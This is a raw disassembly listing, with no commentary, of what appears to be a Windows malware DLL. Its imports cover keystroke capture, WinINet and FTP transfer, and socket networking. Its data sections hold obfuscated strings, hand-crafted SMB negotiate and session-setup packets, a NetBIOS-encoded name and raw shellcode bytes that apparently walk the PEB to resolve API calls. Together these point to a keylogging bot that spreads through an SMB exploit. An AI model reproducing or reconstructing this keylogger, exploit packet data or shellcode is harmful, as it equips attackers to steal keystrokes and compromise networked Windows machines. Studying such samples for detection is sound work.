; DWORD __stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh)
extrn GetFileSize:dword ; CODE XREF: sub_10002157+2F2p
; sub_100030D9+4Ep ...
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: sub_10002157+341p
; start+1B2p ...
;
; Imports from MSVCP60.dll
;
; public: __thiscall std::_Winit::~_Winit(void)
extrn ??1_Winit@std@@QAE@XZ:dword ; CODE XREF: sub_100020F5+8p
; sub_10003D44+8p ...
; public: __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::~basic_string<char, struct std::char_traits<char>, class std::allocator<char>>(void)
extrn ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ:dword
; CODE XREF: .text:10001EA8p
; sub_1000BC50+3p ...
; public: __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>(class basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::basic_string<char, struct std::char_traits<char>, class std::allocator<char>> const &)
extrn ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z:dword
; CODE XREF: .text:10001E93p
; DATA XREF: .text:10001E93r
; public: class std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>> & __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::append(char const *)
extrn ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z:dword
; CODE XREF: .text:10001E54p
; DATA XREF: .text:10001E54r
; public: class std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>> & __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::append(unsigned int, char)
extrn ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z:dword
; CODE XREF: .text:10001E36p
; .text:10001E7Fp
; DATA XREF: ...
; public: void __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::reserve(unsigned int)
extrn ?reserve@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z:dword
; CODE XREF: .text:10001D07p
; DATA XREF: .text:10001D07r
; public: __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>(class basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::allocator<char> const &)
extrn ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z:dword
; CODE XREF: .text:10001CEAp
; DATA XREF: .text:10001CEAr
; public: __thiscall std::ios_base::Init::Init(void)
extrn ??0Init@ios_base@std@@QAE@XZ:dword ; CODE XREF: sub_10002092+8p
; sub_10003CE1+8p ...
; public: __thiscall std::ios_base::Init::~Init(void)
extrn ??1Init@ios_base@std@@QAE@XZ:dword ; CODE XREF: sub_100020B4+8p
; sub_10003D03+8p ...
; public: __thiscall std::_Winit::_Winit(void)
extrn ??0_Winit@std@@QAE@XZ:dword ; CODE XREF: sub_100020D3+8p
; sub_10003D22+8p ...
;
; Imports from MSVCRT.dll
;
extrn _endthreadex:dword ; CODE XREF: sub_10001EBF+10Ep
; sub_10001EBF+1B2p ...
; int __cdecl stricmp(const char *Str1,const char *Str2)
extrn _stricmp:dword ; CODE XREF: sub_10004CE4+4Dp
; sub_10004EA7+80p ...
; size_t __cdecl strlen(const char *Str)
extrn __imp_strlen:dword ; DATA XREF: strlenr
; void *__cdecl memcpy(void *Dst,const void *Src,size_t Size)
extrn __imp_memcpy:dword ; DATA XREF: memcpyr
; void *__cdecl memset(void *Dst,int Val,size_t Size)
extrn __imp_memset:dword ; DATA XREF: memsetr
; void *__cdecl malloc(size_t Size)
extrn malloc:dword ; CODE XREF: sub_10001059+Dp
; sub_100010BA+10p ...
; void __cdecl free(void *Memory)
extrn free:dword ; CODE XREF: sub_1000113B+15p
; sub_10001170+E8p ...
extrn floor:dword ; CODE XREF: sub_10001C45+56p
; DATA XREF: sub_10001C45+56r
extrn __imp__ftol:dword ; DATA XREF: _ftolr
extrn ceil:dword ; CODE XREF: .text:10001D6Bp
; DATA XREF: .text:10001D6Br
extrn __CxxFrameHandler:dword ; DATA XREF: .text:loc_1000B966r
; char *__cdecl itoa(int Val,char *DstBuf,int Radix)
extrn _itoa:dword ; CODE XREF: sub_10009C30+45p
; sub_10009EF0+CAp
; DATA XREF: ...
; int snprintf(char *Dest,size_t Count,const char *Format,...)
extrn _snprintf:dword ; CODE XREF: sub_10001EBF+7Ap
; sub_10001EBF+B1p ...
; char *__cdecl strncat(char *Dest,const char *Source,size_t Count)
extrn strncat:dword ; CODE XREF: sub_10002157+241p
; DATA XREF: sub_10002157+241r
; char *__cdecl strtok(char *Str,const char *Delim)
extrn strtok:dword ; CODE XREF: sub_10002157+1BBp
; sub_100024A5+66p ...
; char *__cdecl strncpy(char *Dest,const char *Source,size_t Count)
extrn strncpy:dword ; CODE XREF: sub_10002157+74p
; sub_10002157+25Ap ...
; int __cdecl strcmp(const char *Str1,const char *Str2)
extrn __imp_strcmp:dword ; DATA XREF: strcmpr
; char *__cdecl strstr(const char *Str,const char *SubStr)
extrn strstr:dword ; CODE XREF: sub_1000329E+49Ep
; sub_1000329E+4D5p ...
; void __cdecl srand(unsigned int Seed)
extrn srand:dword ; CODE XREF: start+F4p
; sub_10007005+3Fp ...
; int __cdecl fclose(FILE *File)
extrn fclose:dword ; CODE XREF: start+C4p
; DATA XREF: start+C4r
; size_t __cdecl fwrite(const void *Str,size_t Size,size_t Count,FILE *File)
extrn fwrite:dword ; CODE XREF: start+B2p
; DATA XREF: start+B2r
; FILE *__cdecl fopen(const char *Filename,const char *Mode)
extrn fopen:dword ; CODE XREF: start+62p
; DATA XREF: start+62r
; int __cdecl rand()
extrn rand:dword ; CODE XREF: sub_10004608:loc_10004618p
; sub_10006A3B+70p ...
; int sscanf(const char *Src,const char *Format,...)
extrn sscanf:dword ; CODE XREF: sub_10004BF7+1Fp
; sub_10005C3D+54Cp ...
extrn _beginthreadex:dword ; CODE XREF: sub_10004C65+13p
; DATA XREF: sub_10004C65+13r
; void __cdecl exit(int Code)
extrn exit:dword ; CODE XREF: sub_10004EA7+19Bp
; sub_10007424+965p
; DATA XREF: ...
; unsigned __int32 __cdecl strtoul(const char *Str,char **EndPtr,int Radix)
extrn strtoul:dword ; CODE XREF: sub_10005C3D+A0Dp
; DATA XREF: sub_10005C3D+A0Dr
; int __cdecl atoi(const char *Str)
extrn atoi:dword ; CODE XREF: sub_10005C3D+9A5p
; sub_10005C3D+9BBp ...
; char *__cdecl strcat(char *Dest,const char *Source)
extrn __imp_strcat:dword ; DATA XREF: strcatr
; int __cdecl vsnprintf(char *DstBuf,size_t MaxCount,const char *Format,va_list ArgList)
extrn _vsnprintf:dword ; CODE XREF: sub_10007293+29p
; sub_10007303+29p
; DATA XREF: ...
; void __cdecl splitpath(const char *FullPath,char *Drive,char *Dir,char *Filename,char *Ext)
extrn _splitpath:dword ; CODE XREF: sub_10007424+1963p
; DATA XREF: sub_10007424+1963r
; __int32 __cdecl atol(const char *Str)
extrn atol:dword ; CODE XREF: sub_10007424+803p
; DATA XREF: sub_10007424+803r
extrn __imp___dllonexit:dword ; DATA XREF: __dllonexitr
; _onexit_t __cdecl onexit(_onexit_t Func)
extrn _onexit:dword ; CODE XREF: __onexit+Dp
; DATA XREF: __onexit+Dr
extrn __imp__initterm:dword ; DATA XREF: _inittermr
extrn _adjust_fdiv:dword ; DATA XREF: _CRT_INIT(x,x,x):loc_1000BAE4r
;
; Imports from SHELL32.dll
;
; HINSTANCE __stdcall ShellExecuteA(HWND hwnd,LPCSTR lpOperation,LPCSTR lpFile,LPCSTR lpParameters,LPCSTR lpDirectory,INT nShowCmd)
extrn ShellExecuteA:dword ; CODE XREF: start+DFp
; sub_10004CE4+BEp ...
;
; Imports from USER32.dll
;
; UINT __stdcall MapVirtualKeyExA(UINT uCode,UINT uMapType,HKL dwhkl)
extrn MapVirtualKeyExA:dword ; CODE XREF: sub_10007424+21BAp
; DATA XREF: sub_10007424+21BAr
; int __stdcall GetKeyNameTextA(LONG lParam,LPSTR lpString,int cchSize)
extrn GetKeyNameTextA:dword ; CODE XREF: sub_10007424+21DCp
; DATA XREF: sub_10007424+21DCr
; HKL __stdcall GetKeyboardLayout(DWORD idThread)
extrn GetKeyboardLayout:dword ; CODE XREF: sub_10007424+21AAp
; DATA XREF: sub_10007424+21AAr
; SHORT __stdcall GetAsyncKeyState(int vKey)
extrn GetAsyncKeyState:dword ; CODE XREF: sub_10007424+2197p
; DATA XREF: sub_10007424+2197r
;
; Imports from WININET.dll
;
extrn InternetConnectA:dword ; CODE XREF: sub_10005584+EEp
; DATA XREF: sub_10005584+EEr
extrn InternetCrackUrlA:dword ; CODE XREF: sub_10005584+C1p
; DATA XREF: sub_10005584+C1r
extrn InternetWriteFile:dword ; CODE XREF: sub_10005584+1B2p
; DATA XREF: sub_10005584+1B2r
extrn InternetCloseHandle:dword ; CODE XREF: sub_10005380+11Fp
; sub_10005380+129p ...
extrn InternetOpenA:dword ; CODE XREF: start+32p
; sub_10005380+35p ...
extrn InternetOpenUrlA:dword ; CODE XREF: start+4Cp
; sub_10005380+51p
; DATA XREF: ...
extrn InternetReadFile:dword ; CODE XREF: start+88p
; sub_10005380+D8p
; DATA XREF: ...
extrn FtpOpenFileA:dword ; CODE XREF: sub_10005584+11Cp
; DATA XREF: sub_10005584+11Cr
;
; Imports from WS2_32.dll
;
; u_short __stdcall ntohs(u_short netshort)
extrn ntohs:dword ; CODE XREF: sub_1000A1A9+17Bp
; sub_1000A1A9+1A1p ...
; char *__stdcall inet_ntoa(struct in_addr in)
extrn inet_ntoa:dword ; CODE XREF: sub_10007424+300p
; sub_1000A1A9+30Dp ...
; int __stdcall setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen)
extrn setsockopt:dword ; CODE XREF: sub_10005C3D+99p
; sub_10009E30+4Ap ...
; u_long __stdcall ntohl(u_long netlong)
extrn ntohl:dword ; CODE XREF: sub_10005C3D+2FAp
; sub_10005C3D+30Ep ...
; unsigned __int32 __stdcall inet_addr(const char *cp)
extrn inet_addr:dword ; CODE XREF: sub_10005A70+21p
; sub_10005C3D+307p ...
; int __stdcall getsockname(SOCKET s,struct sockaddr *name,int *namelen)
extrn getsockname:dword ; CODE XREF: sub_10004C83+1Cp
; DATA XREF: sub_10004C83+1Cr
; struct hostent *__stdcall gethostbyaddr(const char *addr,int len,int type)
extrn gethostbyaddr:dword ; CODE XREF: sub_1000495F+Cp
; DATA XREF: sub_1000495F+Cr
; struct hostent *__stdcall gethostbyname(const char *name)
extrn gethostbyname:dword ; CODE XREF: sub_10004763+8p
; DATA XREF: sub_10004763+8r
; int __stdcall WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData)
extrn WSAStartup:dword ; CODE XREF: start+18Bp
; DATA XREF: start+18Br
; int __stdcall sendto(SOCKET s,const char *buf,int len,int flags,const struct sockaddr *to,int tolen)
extrn sendto:dword ; CODE XREF: sub_10003D60+CCp
; sub_10003D60+100p ...
; int __stdcall bind(SOCKET s,const struct sockaddr *name,int namelen)
extrn bind:dword ; CODE XREF: sub_1000329E+B3p
; sub_10005C3D+103p ...
; int __stdcall listen(SOCKET s,int backlog)
extrn listen:dword ; CODE XREF: sub_1000329E+CEp
; sub_10005C3D+133p ...
; int __stdcall ioctlsocket(SOCKET s,__int32 cmd,u_long *argp)
extrn ioctlsocket:dword ; CODE XREF: sub_1000329E+F0p
; sub_1000329E+624p ...
; SOCKET __stdcall accept(SOCKET s,struct sockaddr *addr,int *addrlen)
extrn accept:dword ; CODE XREF: sub_1000329E+261p
; sub_10005C3D+2C7p ...
; int __stdcall WSAGetLastError()
extrn WSAGetLastError:dword ; CODE XREF: sub_100030D9+186p
; sub_10005AE8+10Cp
; DATA XREF: ...
; SOCKET __stdcall socket(int af,int type,int protocol)
extrn socket:dword ; CODE XREF: sub_10001EBF+11Dp
; sub_1000329E+8Ap ...
; u_short __stdcall htons(u_short hostshort)
extrn htons:dword ; CODE XREF: sub_10001EBF+13Dp
; sub_1000329E+5Ap ...
; int __stdcall connect(SOCKET s,const struct sockaddr *name,int namelen)
extrn connect:dword ; CODE XREF: sub_10001EBF+176p
; sub_10003D60+99p ...
; int __stdcall closesocket(SOCKET s)
extrn closesocket:dword ; CODE XREF: sub_10001EBF+19Fp
; sub_10002157+1FBp ...
; u_long __stdcall htonl(u_long hostlong)
extrn htonl:dword ; CODE XREF: sub_10001991+8p
; DATA XREF: sub_10001991+8r
; int __stdcall send(SOCKET s,const char *buf,int len,int flags)
extrn send:dword ; CODE XREF: sub_10001991+1Dp
; sub_10001991+3Ap ...
; int __stdcall select(int nfds,fd_set *readfds,fd_set *writefds,fd_set *exceptfds,const struct timeval *timeout)
extrn select:dword ; CODE XREF: sub_1000180B+145p
; sub_1000329E+1DBp ...
; int __stdcall __WSAFDIsSet(SOCKET fd,fd_set *)
extrn __imp___WSAFDIsSet:dword ; DATA XREF: __WSAFDIsSetr
; int __stdcall recv(SOCKET s,char *buf,int len,int flags)
extrn recv:dword ; CODE XREF: sub_1000180B+17Cp
; sub_1000329E+360p ...
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 1000C218h
dbl_1000C218 dq 7.2e1 ; DATA XREF: sub_10001C45+4Ar
dbl_1000C220 dq 6.0 ; DATA XREF: sub_10001C45+19r
; .text:10001D5Fr
dbl_1000C228 dq 8.0 ; DATA XREF: .text:10001D59r
byte_1000C230 db 0Ah ; DATA XREF: sub_1000504C+FCr
; sub_1000504C+112o
aXh7Wj7 db 'xh7}`wj7{|',0
dd 1FDh dup(0)
dword_1000CA30 dd 2B292B04h, 28h, 1Eh dup(0) ; DATA XREF: sub_1000504C+25o
dword_1000CAB0 dd 20h dup(0) ; DATA XREF: sub_1000504C+41o
aZuvj db 7,':zuvj|:',0 ; DATA XREF: sub_1000504C+5Do
align 4
dd 1Dh dup(0)
dword_1000CBB0 dd 20h dup(0) ; DATA XREF: sub_1000504C+79o
dword_1000CC30 dd 33593303h, 1Fh dup(0) ; DATA XREF: sub_1000504C+95o
aZuvj_0 db 8,':zuvj|:(',0 ; DATA XREF: sub_1000504C+B1o
align 4
dd 1Dh dup(0)
aNpwfju7A db 0Bh,'npwFju+7|a|',0 ; DATA XREF: sub_1000504C+CDo
align 10h
dd 1Ch dup(0)
; char a7xoaredq6lsnv6[]
a7xoaredq6lsnv6 db '7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4ZYt7w1AI4cGXjANm227bWe26t',0
; DATA XREF: sub_1000504C+4o
; sub_1000504C+20o ...
align 8
stru_1000CDF8 dd 19930520h ; Magic ; DATA XREF: .text:loc_1000BC72o
dd 2 ; Count
dd offset stru_1000CDF8.Info; InfoPtr
dd 0 ; CountDtr
dd 0 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd offset sub_1000BC5A ; Info.Proc
dd 0 ; Info.Id
dd offset sub_1000BC50 ; Info.Proc
dd 0D090h, 2 dup(0)
dd 0D0F4h, 0C1B4h, 0D050h, 2 dup(0)
dd 0D110h, 0C174h, 0CEDCh, 2 dup(0)
dd 0D170h, 0C000h, 0D06Ch, 2 dup(0)
dd 0D218h, 0C190h, 0D058h, 2 dup(0)
dd 0D272h, 0C17Ch, 0CF90h, 2 dup(0)
dd 0D4E0h, 0C0B4h, 0CFBCh, 2 dup(0)
dd 0D626h, 0C0E0h, 0CEF4h, 2 dup(0)
dd 0D8FEh, 0C018h, 5 dup(0)
dd 0D13Ah, 0D15Eh, 0D14Ch, 0D12Ch, 0D11Ch, 0
dd 0D8AEh, 0D89Ch, 0D88Ch, 0D87Eh, 0D86Ch, 0D858h, 0D848h
dd 0D83Ch, 0D826h, 0D81Ah, 0D8CAh, 0D7EEh, 0D7DEh, 0D7CAh
dd 0D7BAh, 0D7AAh, 0D79Ah, 0D784h, 0D76Eh, 0D75Ch, 0D74Ah
dd 0D8DEh, 0D8ECh, 0D67Eh, 0D66Eh, 0D804h, 0D73Ch, 0D72Ah
dd 0D71Eh, 0D70Ch, 0D6FCh, 0D6E2h, 0D6CAh, 0D6BEh, 0D6A8h
dd 0D69Ah, 0D68Ch, 0D666h, 0
dd 0D4C8h, 0D27Eh, 0D2C8h, 0D318h, 0D36Eh, 0D3C4h, 0D414h
dd 0D470h, 0D490h, 0D4B0h, 0
dd 0D548h, 0D90Ch, 0D4ECh, 0D4F6h, 0D500h, 0D50Ah, 0D514h
dd 0D51Ch, 0D524h, 0D52Ch, 0D534h, 0D918h, 0D558h, 0D564h
dd 0D56Eh, 0D578h, 0D582h, 0D58Ch, 0D596h, 0D59Eh, 0D5A8h
dd 0D5B2h, 0D5BAh, 0D5C2h, 0D5CCh, 0D5DEh, 0D5E6h, 0D5F0h
dd 0D5F8h, 0D602h, 0D610h, 0D61Eh, 0D632h, 0D640h, 0D64Ah
dd 0D656h, 0
dd 0D100h, 0
dd 0D236h, 0D224h, 0D24Ah, 0D25Eh, 0
dd 0D1F0h, 0D204h, 0D1CCh, 0D1B6h, 0D1A6h, 0D192h, 0D17Eh
dd 0D1E0h, 0
dd 8000000Fh, 8000000Ch, 80000015h, 8000000Eh, 8000000Bh
dd 80000006h, 80000033h, 80000034h, 80000073h, 80000014h
dd 80000002h, 8000000Dh, 8000000Ah, 80000001h, 8000006Fh
dd 80000017h, 80000009h, 80000004h, 80000003h, 80000008h
dd 80000013h, 80000012h, 80000097h, 80000010h, 0
aWs2_32_dll db 'WS2_32.dll',0
align 10h
aR db 'r',0
aShellexecutea db 'ShellExecuteA',0
aShell32_dll db 'SHELL32.dll',0
db '×',0
aGetusernamea db 'GetUserNameA',0
align 4
dd 6552015Bh, 6F6C4367h, 654B6573h, 1860079h, 53676552h
dd 61567465h, 4565756Ch, 4178h, 6552015Fh, 65724367h, 4B657461h
dd 78457965h, 1640041h, 44676552h, 74656C65h, 6C615665h
dd 416575h, 41564441h, 32334950h, 6C6C642Eh, 770000h, 65746E49h
dd 74656E72h, 64616552h, 656C6946h, 710000h, 65746E49h
dd 74656E72h, 6E65704Fh, 416C7255h, 6F0000h, 65746E49h
dd 74656E72h, 6E65704Fh, 560041h, 65746E49h, 74656E72h
dd 736F6C43h, 6E614865h, 656C64h, 6E490088h, 6E726574h
dd 72577465h, 46657469h, 656C69h, 74460026h, 65704F70h
dd 6C69466Eh, 4165h, 6E49005Ah, 6E726574h, 6F437465h, 63656E6Eh
dd 4174h, 6E49005Ch, 6E726574h, 72437465h, 556B6361h, 416C72h
dd 494E4957h, 2E54454Eh, 6C6C64h, 65470110h, 79654B74h
dd 656D614Eh, 74786554h, 1B60041h, 5670614Dh, 75747269h
dd 654B6C61h, 41784579h, 1130000h, 4B746547h, 6F627965h
dd 4C647261h, 756F7961h, 0E30074h, 41746547h, 636E7973h
dd 5379654Bh, 65746174h, 53550000h, 32335245h, 6C6C642Eh
dd 0E90000h, 3F313F3Fh, 73616224h, 735F6369h, 6E697274h
dd 55444067h, 6863243Fh, 745F7261h, 74696172h, 40444073h
dd 40647473h, 243F5640h, 6F6C6C61h, 6F746163h, 40444072h
dd 73404032h, 40406474h, 40454151h, 5A58h, 3F3F0047h, 62243F30h
dd 63697361h, 7274735Fh, 40676E69h, 243F5544h, 72616863h
dd 6172745Fh, 40737469h, 74734044h, 56404064h, 6C61243Fh
dd 61636F6Ch, 40726F74h, 40324044h, 64747340h, 41514040h
dd 42414045h, 40313056h, 5A40h, 613F0410h, 6E657070h, 243F4064h
dd 69736162h, 74735F63h, 676E6972h, 3F554440h, 61686324h
dd 72745F72h, 73746961h, 73404440h, 40406474h, 61243F56h
dd 636F6C6Ch, 726F7461h, 32404440h, 74734040h, 51404064h
dd 41414541h, 40323156h, 40444250h, 40E005Ah, 7070613Fh
dd 40646E65h, 6162243Fh, 5F636973h, 69727473h, 4440676Eh
dd 63243F55h, 5F726168h, 69617274h, 44407374h, 64747340h
dd 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h
dd 40647473h, 45415140h, 31564141h, 44494032h, 5A40h, 723F071Bh
dd 72657365h, 3F406576h, 73616224h, 735F6369h, 6E697274h
dd 55444067h, 6863243Fh, 745F7261h, 74696172h, 40444073h
dd 40647473h, 243F5640h, 6F6C6C61h, 6F746163h, 40444072h
dd 73404032h, 40406474h, 58454151h, 5A4049h, 3F3F0049h
dd 62243F30h, 63697361h, 7274735Fh, 40676E69h, 243F5544h
dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h
dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 64747340h
dd 41514040h, 42414045h, 61243F56h, 636F6C6Ch, 726F7461h
dd 31404440h, 5A4040h, 3F3F009Eh, 696E4930h, 6F694074h
dd 61625F73h, 73406573h, 40406474h, 40454151h, 5A58h, 3F3F0109h
dd 696E4931h, 6F694074h, 61625F73h, 73406573h, 40406474h
dd 40454151h, 5A58h, 3F3F00A5h, 69575F30h, 4074696Eh, 40647473h
dd 45415140h, 5A5840h, 3F3F010Dh, 69575F31h, 4074696Eh
dd 40647473h, 45415140h, 5A5840h, 4356534Dh, 2E303650h
dd 6C6C64h, 747302BEh, 6E656C72h, 2970000h, 636D656Dh
dd 7970h, 656D0299h, 7465736Dh, 2910000h, 6C6C616Dh, 636Fh
dd 7266025Eh, 6565h, 6C660255h, 726F6Fh, 665F00F1h, 6C6F74h
dd 65630241h, 6C69h, 5F5F0049h, 46787843h, 656D6172h, 646E6148h
dd 72656Ch, 655F00C5h, 6874646Eh, 64616572h, 7865h, 735F01AEh
dd 6972706Eh, 66746Eh, 747302BFh, 61636E72h, 2C70074h
dd 74727473h, 6B6Fh, 747302C1h, 70636E72h, 2B80079h, 63727473h
dd 706Dh, 747302C5h, 72747372h, 2B40000h, 6E617273h, 24C0064h
dd 6F6C6366h, 6573h, 77660266h, 65746972h, 2570000h, 65706F66h
dd 2A6006Eh, 646E6172h, 2B50000h, 61637373h, 666Eh, 625F00A6h
dd 6E696765h, 65726874h, 78656461h, 2490000h, 74697865h
dd 2C90000h, 74727473h, 6C756Fh, 7461023Dh, 696Fh, 747302B6h
dd 74616372h, 1E10000h, 6E73765Fh, 6E697270h, 6674h, 735F01B9h
dd 74696C70h, 68746170h, 23E0000h, 6C6F7461h, 534D0000h
dd 54524356h, 6C6C642Eh, 550000h, 6C645F5Fh, 656E6F6Ch
dd 746978h, 6F5F0186h, 6978656Eh, 10F0074h, 696E695Fh
dd 72657474h, 9D006Dh, 6A64615Fh, 5F747375h, 76696466h
dd 2960000h, 65656C53h, 4A0070h, 61657243h, 68546574h
dd 64616572h, 1B0000h, 736F6C43h, 6E614865h, 656C64h, 65470112h
dd 6C694674h, 7A695365h, 340065h, 61657243h, 69466574h
dd 41656Ch, 6547010Dh, 6C694674h, 74744165h, 75626972h
dd 41736574h, 900000h, 646E6946h, 736F6C43h, 8A0065h, 656C6946h
dd 656D6954h, 79536F54h, 6D657473h, 656D6954h, 890000h
dd 656C6946h, 656D6954h, 6F4C6F54h, 466C6163h, 54656C69h
dd 656D69h, 6946009Dh, 654E646Eh, 69467478h, 41656Ch, 69460094h
dd 6946646Eh, 46747372h, 41656C69h, 2180000h, 64616552h
dd 656C6946h, 26A0000h, 46746553h, 50656C69h, 746E696Fh
dd 7265h, 7845007Eh, 68547469h, 64616572h, 16E0000h, 54746547h
dd 46656D69h, 616D726Fh, 4174h, 654700FBh, 74614474h, 726F4665h
dd 4174616Dh, 1240000h, 4D746547h, 6C75646Fh, 6C694665h
dd 6D614E65h, 4165h, 615702CEh, 6F467469h, 6E695372h, 4F656C67h
dd 63656A62h, 3F0074h, 61657243h, 754D6574h, 41786574h
dd 16D0000h, 54746547h, 436B6369h, 746E756Fh, 2640000h
dd 45746553h, 726F7272h, 65646F4Dh, 0CE0000h, 43746547h
dd 75706D6Fh, 4E726574h, 41656D61h, 1750000h, 56746547h
dd 69737265h, 78456E6Fh, 18D0041h, 626F6C47h, 654D6C61h
dd 79726F6Dh, 74617453h, 7375h, 65470159h, 73795374h, 446D6574h
dd 63657269h, 79726F74h, 280041h, 79706F43h, 656C6946h
dd 2680041h, 46746553h, 41656C69h, 69727474h, 65747562h
dd 4173h, 725702DFh, 46657469h, 656C69h, 65470165h, 6D655474h
dd 74615070h, 4168h, 65470163h, 6D655474h, 6C694670h, 6D614E65h
dd 4165h, 6547011Ch, 636F4C74h, 49656C61h, 416F666Eh, 570000h
dd 656C6544h, 69466574h, 41656Ch, 725001FEh, 7365636Fh
dd 4E323373h, 747865h, 725001FCh, 7365636Fh, 46323373h
dd 74737269h, 4C0000h, 61657243h, 6F546574h, 65686C6Fh
dd 3233706Ch, 70616E53h, 746F6873h, 29E0000h, 6D726554h
dd 74616E69h, 6F725065h, 73736563h, 1EF0000h, 6E65704Fh
dd 636F7250h, 737365h, 6554029Fh, 6E696D72h, 54657461h
dd 61657268h, 454B0064h, 4C454E52h, 642E3233h, 6C6Ch, 735F01C1h
dd 63697274h, 706Dh, 695F0134h, 616F74h, 0
aLf db 'ÒÆ‹F',0
align 4
aR_0 db 'RÙ',0
align 10h
dd 3 dup(1), 0D948h, 0D94Ch, 0D950h, 420Dh, 0D95Bh, 6F6E0000h
dd 642E6570h, 73006C6Ch, 74726174h, 1A8h dup(0)
_rdata ends
; Section 3. (virtual address 0000E000)
; Virtual size : 0001F174 ( 127348.)
; Section size in file : 00005000 ( 20480.)
; Offset to raw data for section: 0000E000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1000E000h
dword_1000E000 dd 0 ; DATA XREF: _CRT_INIT(x,x,x)+4Fo
dd offset sub_10002083
dd offset sub_100020C4
dd offset sub_10003CD2
dd offset sub_10003D13
dd offset sub_10004153
dd offset sub_10004194
dd offset sub_100052FD
dd offset sub_1000533E
dd offset sub_10005814
dd offset sub_10005855
dd offset sub_100059EC
dd offset sub_10005A2D
dd offset sub_10006893
dd offset sub_100068D4
dd offset sub_10006920
dd offset sub_10006961
dd offset sub_10006F20
dd offset sub_10006F61
dd offset sub_10009830
dd offset sub_10009871
dd offset sub_10009AA0
dd offset sub_10009AE1
dd offset sub_1000A6D0
dd offset sub_1000A711
dd offset sub_1000AC30
dd offset sub_1000AC71
dd offset sub_1000B0A0
dd offset sub_1000B0E1
dword_1000E074 dd 3 dup(0) ; DATA XREF: _CRT_INIT(x,x,x)+4Ao
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_10001433+CAo
align 4
dword_1000E08C dd 10FF8h, 0 ; DATA XREF: sub_10001433+86o
dword_1000E094 dd 10FF8h ; DATA XREF: sub_10001433+95o
dword_1000E098 dd 7FFDF020h, 0 ; DATA XREF: sub_10001433+194o
dword_1000E0A0 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_100019DF+14Do
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 4
dword_1000E128 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_100019DF+5Fo
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_1000E158 dd 0 ; DATA XREF: sub_100019DF+A6o
dd 800000D4h, 0
; char buf[]
buf db '',0 ; DATA XREF: sub_10001BDB+Ao
dw 4400h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_1000E1B0 db 41h ; DATA XREF: .text:10001E2Ar
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
aSvwfbA db 'SVWfì€',0 ; DATA XREF: sub_10001EBF+DEo
aIcsa db '‰æèí',0
db 2 dup(0), 0FFh
dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh
dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h
dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h
dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h
dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h
dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h
dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h
dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
